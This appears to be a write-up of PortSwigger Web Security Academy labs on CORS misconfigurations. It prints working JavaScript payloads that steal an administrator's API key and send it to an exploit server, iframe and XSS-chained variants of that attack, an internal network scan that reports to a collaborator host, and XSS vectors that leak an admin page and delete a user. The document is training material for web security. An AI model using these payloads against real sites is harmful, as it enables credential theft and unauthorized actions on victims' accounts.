Intro
This post/writeup is all about the Cross-Origin Resource Sharing or simply CORS.
I’ll be using primarily Portswigger Web Academy Labs, but i do intent do throw other labs and writeups here as well.
To learn more on the topic, please visit the article linked above at Portswigger’s.
CORS is a controlled relaxation of the same-origin policy (SOP) and does not protect against CSRF!
TOC
- Intro
- CORS vulnerability with basic origin reflection
- CORS vulnerability with trusted null origin
- CORS vulnerability with trusted insecure protocols
- CORS vulnerability with internal network pivot attack
CORS vulnerability with basic origin reflection
This website has an insecure CORS configuration in that it trusts all origins.
To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator’s API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator’s API key.
You can log in to your own account using the following credentials:
wiener:peter
When we login using wiener:peter
credentials, we’ll get apikey
returned which we’re supposed to steal.
Mind the response header
1
2
3
HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true
...
This means that credentials can be sent over different domains. If we add Origin: canary.si
, Response will include that domain in CORS
1
Access-Control-Allow-Origin: canary.si
I’ve used following script to achieve that goal:
1
2
3
4
5
<script>
fetch("https://0a4700fd04d5c6d8c0997d1e000b0018.web-security-academy.net/accountDetails",{"credentials":"include"})
.then(res => {return res.json()})
.then(body => { var apikey = body["apikey"]; fetch ("https://exploit-0a7900600492c601c0787c1101bb00b0.exploit-server.net/c="+apikey,{"mode":"no-cors"});})
</script>
This is solution proposed from Portswigger which uses XMLHttpRequest()
:
1
2
3
4
5
6
7
8
9
10
11
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
CORS vulnerability with trusted null origin
This website has an insecure CORS configuration in that it trusts the “null” origin.
To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator’s API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator’s API key.
You can log in to your own account using the following credentials:
wiener:peter
This web application is just like the previous one, just CORS accepts null
origin.
This is the payload that was used
1
2
3
4
5
6
7
8
9
10
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0a5b002b03d66285c15b953900c600c7.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='exploit-0a6b00ee03b062d6c11c940701ad00ca.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
1
2
3
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>fetch('https://0a6b00ee03b062d6c11c940701ad00ca.web-security-academy.net/accountDetails',{'credentials':'include'})
.then(res => {return res.json()})
.then(body => { var apikey = body['apikey']; fetch ('https://exploit-0a6b00ee03b062d6c11c940701ad00ca.exploit-server.net/c='+apikey,{'mode':'no-cors'});})</script>"></iframe>
CORS vulnerability with trusted insecure protocols
This website has an insecure CORS configuration in that it trusts all subdomains regardless of the protocol.
To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator’s API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator’s API key.
You can log in to your own account using the following credentials:
wiener:peter
doc
Login using provided credentials wiener:peter
.
Notice the Access-Control-Allow-Credentials: true
. CORS seems to be in place.
If we add Origin pointing to same lab’s subdomain, it will reflect in Access-Control-Allow-Origin
header.
We’ll take a note of that and try to find XSS so we can actually exploit CORS setting/vulnerability.
Check stock
will send a request to http://stock.LAB-ID.web-security-academy.net/?productId=2&storeId=1
XSS is present in productId
parameter as it simply reflect the provided “id” in the Error message:
Alert fires as expected.
Payload:
1
2
3
<script>
document.location="http://stock.0adc002b04a1979ac0f1efab00aa0062.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0adc002b04a1979ac0f1efab00aa0062.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-0a1d004d045797b8c041ee4d01fb0039.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>
Payload above will be served on our exploit server. For better readability, this is the script that is provided into XSS payload
1
2
3
4
5
6
7
8
9
10
11
12
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0adc002b04a1979ac0f1efab00aa0062.web-security-academy.net/accountDetails',true);
req.withCredentials = true;req.send();
function reqListener() {
location='https://exploit-0a1d004d045797b8c041ee4d01fb0039.exploit-server.net/log?key='%2bthis.responseText;
};
</script>
Victim should connect to our server unknowingly. We should see an entry with APIKey in our logs.
CORS vulnerability with internal network pivot attack
BURP Professional needed (collaborator)
This website has an insecure CORS configuration in that it trusts all internal network origins.
This lab requires multiple steps to complete. To solve the lab, craft some JavaScript to locate an endpoint on the local network (192.168.0.0/24, port 8080) that you can then use to identify and create a CORS-based attack to delete a user. The lab is solved when you delete user Carlos.
This attack will have to be performed in few steps as we need to enumerate first, hence needing more than a single script.
This is the code that will be used to enumerate the internal network. It will be copied to an exploit server and delivered to victim.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<script>
var q = [], collaboratorURL = 'http://jczxolrxtxilgme7dqz1sb1g57byzond.oastify.com';
for(i=1;i<=255;i++) {
q.push(function(url) {
return function(wait) {
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}
for(i=1;i<=20;i++){
if(q.length)q.shift()(i*100);
}
function fetchUrl(url, wait) {
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r => r.text().then(text => {
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now();
}))
.catch(e => {
if(q.length) {
q.shift()(wait);
}
});
setTimeout(x => {
controller.abort();
if(q.length) {
q.shift()(wait);
}
}, wait);
}
</script>
After some time HTTP request should hit our Collaborator instance:
Next payload will check for XSS in the username field.
1
2
3
4
5
6
7
8
9
10
11
12
13
<script>
function xss(url, text, vector) {
location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}
function fetchUrl(url, collaboratorURL){
fetch(url).then(r => r.text().then(text => {
xss(url, text, '"><img src='+collaboratorURL+'?foundXSS=1>');
}))
}
fetchUrl("http://192.168.0.145:8080", "http://547jg7jjlja7886t5crnkxt2xt3krcf1.oastify.com");
</script>
Next payload should leak the admin page.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<script>
function xss(url, text, vector) {
location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}
function fetchUrl(url, collaboratorURL){
fetch(url).then(r=>r.text().then(text=>
{
xss(url, text, '"><iframe src=/admin onload="new Image().src=\''+collaboratorURL+'?code=\'+encodeURIComponent(this.contentWindow.document.body.innerHTML)">');
}
))
}
fetchUrl("http://192.168.0.145:8080", "http://2rug346g8gx4v5tqs9ek7ugzkqqhea2z.oastify.com");
</script>
We get a callback
In order to delete carlos
we need to submit a form (including CSRF value).
Next payload will do exactly that.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<script>
function xss(url, text, vector) {
location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}
function fetchUrl(url){
fetch(url).then(r=>r.text().then(text=>
{
xss(url, text, '"><iframe src=/admin onload="var f=this.contentWindow.document.forms[0];if(f.username)f.username.value=\'carlos\',f.submit()">');
}
))
}
fetchUrl("http://192.168.0.145:8080");
</script>
We’re now not expecting a callback but Congratulations, you solved the lab!
message!